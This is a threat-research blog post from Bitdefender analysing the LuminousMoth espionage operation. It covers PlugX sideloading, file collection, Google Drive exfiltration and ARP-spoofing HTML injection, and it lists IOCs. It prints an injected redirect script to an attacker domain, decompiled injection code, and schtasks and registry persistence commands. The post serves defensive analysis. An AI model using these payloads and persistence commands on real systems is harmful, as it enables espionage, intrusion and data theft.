LuminousMoth – PlugX, File Exfiltration and Persistence Revisited

By Victor VRABIE

Archived: 2026-04-05 17:17:44 UTC

Foreword

A few months ago, Bitdefender researchers started to investigate an extended operation that targeted victims from Myanmar and Thailand for what looked like cyber espionage and intelligence gathering.

Many aspects of this operation were recently comprehensively described in this article by the Kaspersky team, but we decided to present our perspective on the operation and offer other IOCs we spotted.

The investigation started with our usual triage process where we observed suspicious activity of two processes; `C:\Users\Public\Music\WinWord.exe` and `C:\ProgramData\Msolutions\svmetrics.exe`. As a result, we were able to identify an infection vector and we collected the tools and TTPs specific to this operation.

We analyzed the chain of events and traced the start of the infection on some victims to the file `C:\Users\<user>\Downloads\COVID-19 Case 12-11-2020(MOTC)\COVID-19 Case 12-11-2020(1).exe`, the creation of which corresponds to 2020-11-12 08:21. This file is a legitimate WinWord.exe executable vulnerable to sideloading.

The actions on behalf of this `COVID-19 Case 12-11-2020(1).exe` we were able to reconstruct are:

- It copies itself as `C:\Users\Public\Music\WinWord.exe`
- It installs persistence by creating the “Microsof” key value under the Run registry assigning the `C:\Users\Public\Music\WinWord.exe` value
- It starts communicating with the CobaltStrike C&C `www.updatecatalogs.com`

More details on tools and TTPs can be found in the sections below.

Key Findings

- Previously-unreported payload in the form of the well-known Remote Access Tool PlugX
- Data exfiltration carried through Google Drive
- More tools used for data collection
- the attackers perform HTML code injection using ARP spoofing to redirect the victim to a page hosted by the threat actor
- Extra findings suggesting that LuminousMoth is connecting to Mustang Panda
- Some more examples of binaries vulnerable to sideloading used in this attack
- Some more examples of persistence mechanisms
- More IOCs associated with this operation

Fmtoptions.dll and Plugx

We were able to link the `C:\ProgramData\Msolutions\svmetrics.exe` process with the `C:\Users\Public\Music\WinWord.exe`, and with the current operation, as we have evidence that svmetrics.exe executed more than once the `C:\Users\Public\Music\WinWord.exe` file, the one that was initially copied by the `COVID-19 Case 12-11-2020(1).exe` alongside the malicious wwlib.dll.

The svmetrics.exe (InternalName from version info: `fmtoptions.exe`) is vulnerable to sideloading and is abused to load `Fmtoptions.dll`.

Analyzing the malicious Fmtoptions.dll file, we established that they read the content of a `walk.dat` file and decrypt the shellcode that is, subsequently, executed. The shellcode is responsible for decompressing and loading the final payload, the PlugX implant, that represents a DLL with the damaged MZ and PE magic values. More details on the recovered payloads are presented in the following table:

9ed86767433b8d26e5b32a5d391f3f08f72dfafd6c7bf652e21e6af5b12b6e3b	

4455a042e511f1c88f39cdd4c93c099af45493aa0cd8e3d40806ac2995da0907	

It's worth noting that all tools and commands mentioned in the following sections are executed by the svmetrics.exe process that hosts the PlugX implant.

File Collection

During our research, we noticed the execution of the `C:\Users\Public\Downloads\unsecapp.exe`, a legitimate `ESET EHttpSrv.exe` file that is abused to load `http_dll.dll`. The sample of `http_dll.dll` we identified implements the file collection feature.

After loading the malicious DLL file, the ini file `C:\Users\Public\Downloads\BITS.ini` is parsed using `GetPrivateProfileIntW` and `GetPrivateProfileStringW` to obtain three parameters, as follows:

AppName	KeyName	Note
RAM	CreateRAM	An integer that indicates the maximum of days after the creation time of the file. If that limit is exceeded for a file, it will not be collected. The default value is 60.
RAM	ModifyRAM	An integer that indicateds the maximum of days after the last write time of the file. If that limit is exceeded for a file, it will not be collected. The default value is 60.
KINDINF	FLIN	The username targeted for exfiltration. It will recursively list folders under the C:\Users\<username>\.

The malware, then, creates a folder using the current time and the format string `"%Y-%m-%d %H-%M-%S"` in the `"C:\Users\Public\Downloads\"` where all files will be staged. It starts scanning for files in the folders Documents, Desktop and Downloads belonging to the specified user in the "FLIN" string. It also scans for files on all drives except the `C:\` drive and all CDROM ones.

Another technical detail worthy of note is the mechanism used to ensure that all files are unique in the staging folder. The MD5 hash for each file is calculated and it is checked if the hash is not contained in a vector with all previous hashes. If not, it will be stored in the vector and will be written into the `C:\Users\Public\Downloads\Background-Intelligent-Transfer-Service.bin` file as a hex string. Each time the DLL is executed, the content of the file with MD5 hashes is parsed and the vector of hashes is populated. The targeted files are those with the following extensions:

```
.doc, .docx, .pdf, .xlsx, .exe
```

A noteworthy turn took place on 2021-03-09 when the svmetrics.exe executed another interesting piece of malware – `C:\Users\<username>\AppData\Roaming\Zoom\ZoomVideoApp.exe`. The `ZoomVideoApp.exe` implements the same collection function, but with more features, as it automatically archives the staging folder and exfiltrates the files to the C&C. The sample was analyzed in Kaspersky's blogpost.

There are many differences between the `http_dll.dll` and `ZoomVideoApp.exe`, but both of these samples use an ini file for customizing the behavior, the common parameters by functionality being "meeting" and "ssb_sdk" as they are equivalent to the "CreateRAM" and "ModifyRAM", respectively.

The deployment of the `ZoomVideoApp.exe` can be interpreted as an update to the collection and exfiltration mechanism, as for the files collected by the http_dll.dll, the attackers were forced to manually archive and exfiltrate the files.

File Exfiltration

The attackers deployed another piece of malware to exfiltrate files, as we noticed the execution of a binary from an unusual location having an archive name and an authentication token as parameters from the command line. The files were put into an archive created using the rar.exe utility.

The process `C:\Kpcms\Send1.exe` was executed multiple times by the `svmetrics.exe`. After analysis, we concluded that the sample uploads the files to Google Drive as it uses the endpoint `https://www.googleapis.com/upload/drive/v3/files?uploadType=media` to perform a simple upload. According to the documentation of the endpoint, it is used for the transfer of files that are smaller than 5MB. To bypass this limitation, the attackers were forced to split the archive into multiple parts and upload each one as suggested by the archives names that we encounter.

This limitation was fixed into a new version of the tool as the attackers start to use another sample, `C:\ProgramData\Adobe\Send3.exe`, for the same purpose. The major improvement of the tool was the use of a resumable upload mechanism to upload files bigger than 5MB. New command line parameters were introduced like the one for specifying the chunk size, which allows the uploading of the file by performing multiple HTTP PUT operations. There is also an option for resuming an upload by specifying the `UploadID` and for checking if the upload was successful.

After the deploying ZoomVideoApp.exe, the tool wasn't seen in use anymore, probably because of the exfiltration capabilities of the ZoomVideoApp.exe.

ArpSpoof and html injection

After finding that svmetrics.exe executed the `C:\ProgramData\Adobe\Send3.exe` and `C:\ProgramData\Adobe\GetChromeCookies.exe` on one victim, we took a closer look on files from the `C:\ProgramData\Adobe\` as it seems to be a location where the attackers staged many tools. As a result, we noticed the `C:\ProgramData\adobe\arpspoof.exe` file.

Our analysis of this file found that the location path links to the attackers, and found many other details that will be mentioned below.

Thanks to the RTTI information, we established that the arpspoof.exe is actually a modified build of `https://github.com/sin5678/zxarps` and it was customized to receive from command line an IP and a PORT and to inject a HTML code into the HTTP responses received from that `IP:PORT` using the ARP spoofing and packet capturing using Winpcap. The particular HTML is hardcoded into the binary itself and is similar to:

```
<html><body><script>window.location.href="http://microsoft.updatecatalogs[.]com/Microsoft Update Catalog.htm"</script></t
```

We analyzed the sample and compared it with the code from GitHub, and we noticed another custom modification in the `CARPSpoof::HackHtml` function:

```
char __stdcall CARPSpoof::HackHtml(CARPSpoof *this, char *Str, int a3, int a4, int a5)
{
  char *v5; // eax
  char *v6; // edi
  char *v7; // eax
  size_t v8; // edi
  char *v9; // eax
  int v10; // eax
  int v11; // ecx
  int v12; // edx
  int v14; // [esp+10h] [ebp-200Ch] BYREF
  int v15; // [esp+14h] [ebp-2008h] BYREF
  char ArgList[8192]; // [esp+18h] [ebp-2004h] BYREF

  if ( !this->bHackHtml
    || _strnicmp(Str, "HTTP/1.1 200", 0xCu) && _strnicmp(Str, "HTTP/1.0 200", 0xCu)
    || strstr_____________(Str, "2.58.230.5")
    || strstr_____________(Str, "content-google:")
    || strstr_____________(Str, "X-AspNet-Version: 4.0.30319\r\n") )
  {
    return 0;
  }
```

As can be seen from the image, the HTML will be injected only into the responses that have the 200-status code and don't contain the strings

```
"2.58.230.5", "content-google:" and "X-AspNet-Version: 4.0.30319\r\n"
```

The injected HTML intends to redirect the user to `http://microsoft.updatecatalogs.com/Microsoft Update Catalog.htm` - a web page belonging to the attackers, as the domain `updatecatalogs.com` is a known C&C for the Cobalt Strike beacon.

Another interesting thing is the `2.58.230.5` IP and the fact that the tool skips injection into the http responses from that IP, probably because that IP was part of the attacker's infrastructure. Moreover, at the time of this writing, the domain `new.mmtimes.org` is resolved to that IP and it is pretty similar to the `mmtimes.net` found in the PlugX sample. The

`mmtimes.org` was already mentioned in the Kaspersky report as being used in earlier operations performed by Mustang Panda, and therefore, the arpspoof.exe, the malicious URL `http://microsoft.updatecatalogs[.]com/Microsoft Update Catalog.htm` from the injected HTML code and the `2.58.230.5` IP address to which the domain `mmtimes.org` resolves to, suggest that the LuminousMoth and Mustang Panda, are connected.

More sideloading

There are certainly more tools used by actors in this operation as, beside the fmtoptions.exe, WinWord.exe and igfxEM.EXE files vulnerable to sideloading, we found two other vulnerable binaries abused to load a malicious DLL file.

The first case we want to address is `C:\Users\Public\Music\VSTOInstaller.exe`, which was executed by the same svmetrics.exe. This sample of Visual Studio Tools for Office Solution Installer loads the vstoloader.dll and the malicious DLL loaded this way is `C:\Users\Public\music\vstoloader.dll` that extracts a shellcode from the `ret.bin` file and executes it. Unfortunately, we weren't able to obtain the `ret.bin` file, so we don't know what role the tool might have.

Being executed by the same svmetrics.exe process, the `C:\Intel\install\stay\AtlTraceTool8.exe` is another legitimate binary abused by the attackers. The only thing we were able to establish about this binary is that it loads the malicious `C:\Intel\install\stay\1033\ AtlTraceToolUI.dll`, but the file could not be obtained.

Persistence

The data we gathered suggests at least two of the tools we encounter are setting up persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run		C:\Users\Public\Music\WinWord.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run		C:\ProgramData\Msolutions\svmetrics.exe

We also spotted the persistence setup via the svmetrics.exe for a few tools:

schtasks.exe /create /sc onstart /ru system /tn MicrosoftOneDirve /tr C:\Intel\install\stay\AtlTraceTool8.exe" "-svc /F
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Zoom" /t REG_SZ /d "C:\Users\<username>\AppData\Roaming\Zoom\ZoomVideoApp.exe" /F
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v BGClient /t REG_SZ /d "c:\Users\Public\Music\VSTOInstaller.exe" /F

Indicators of Compromise

Binaries exploited for sideloading

File path	SHA256	Note
C:\Users\Public\Music\WinWord.exe	8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736	Winword from r that loads wwlib
C:\ProgramData\Msolutions\svmetrics.exe	f9558aae2ad658885c071975a6efd055e3324717a32ddf551c5760afe766204e	FmtOptions.exe Software Inc.; l fmtoptions.dll

C:\Users\Public\Downloads\unsecapp.exe	c3159d4f85ceb84c4a0f7ea9208928e729a30ddda4fead7ec6257c7dd1984763	ESET EHttpSrv http_dll.dll
C:\Users\Public\Music\VSTOInstaller.exe	fc73a301bf3167cb01e966df1bb0d20ca922ea831298ab85b4301347c6b5df10	Visual Studio T Solution Installe vstoloader.dll
C:\Intel\install\stay\AtlTraceTool8.exe	197d0ad8e3f6591e4493daaee9e52e53ecf192e32f9d167c67f2ffb408c76f2c	Microsoft ATL T loads 1033\AtlTraceT

Files used by attackers

SHA256	Filename
82134a024e98e9bde134b8294f2b346cef300202203e88229718967f52becc78	fmtoptions.dll
f75457c62e1f65bfd0b16cd74cecb0325837a7b615378218bd2571818b3dcb46	fmtoptions.dll
ccf48d55f99a2bc1f91a92d8afa7ad61559911ff5f4e5e85cbab1177c2581d41	vstoloader.dll
6f20eaca6e9fb4e91826081dd0af81e4dcc2f7c82879f8ba16dea26400963931	http_dll.dll
869e7da2357c673dab14e9a64fb69691002af5b39368e6d1a3d7fda242797622	version.dll
95bcc8c3d9d23289b4ff284cb685b741fe92949be35c69c1faa3a3846f1ab947	wwlib.dll
37b8c0c8664763ecabaed434f98abc3ae2ac8a6a2a09dc395b46196da050c091	getchromecookies.exe
11996a32e5449cca1d8e82b6c43a625913b235d57a4f3e01f560f332cb221931	getchromecookies.exe
b58fdb9b77e11da524d6518634ea31c3c2d1b2625cb009781f310478e98cfb3a	Send1.exe
e826209f6adccc90959bc515598eddd91b61948b115c08257b263e13882aed83	Send3.exe
85d7c880f658e49a56781959e375d46861b87fcee6db17952dcb4530eb4bacd9	arpspoof.exe
361ccc35f7ff405eb904910de126a5775de831b4229a4fdebfbacdd941ad3c56	ZoomVideoApp.exe
9ed86767433b8d26e5b32a5d391f3f08f72dfafd6c7bf652e21e6af5b12b6e3b	PlugX sample (myanmar.flymna[.]net C&C address)

4455a042e511f1c88f39cdd4c93c099af45493aa0cd8e3d40806ac2995da0907	PlugX sample (webmail.mmtimes[.]net C&C address)
bd7a0507f10f92a14f9bbfd708d7821d036342ad78c39537fe0bebeef96f9139	CobaltStrike Beacon (103.15.28[.]195 C&C address)
ad50056093467987270b6c560734b59c35edadfbc38d76ca4d6199fc70595446	CobaltStrike Beacon (www.updatecatalogs[.]com C&C address)

URL used in injected HTML code

```
http://microsoft.updatecatalogs.com/Microsoft Update Catalog.htm
```

Malicious domains

microsoft.updatecatalogs[.]com

Malicious IPs

Source: https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited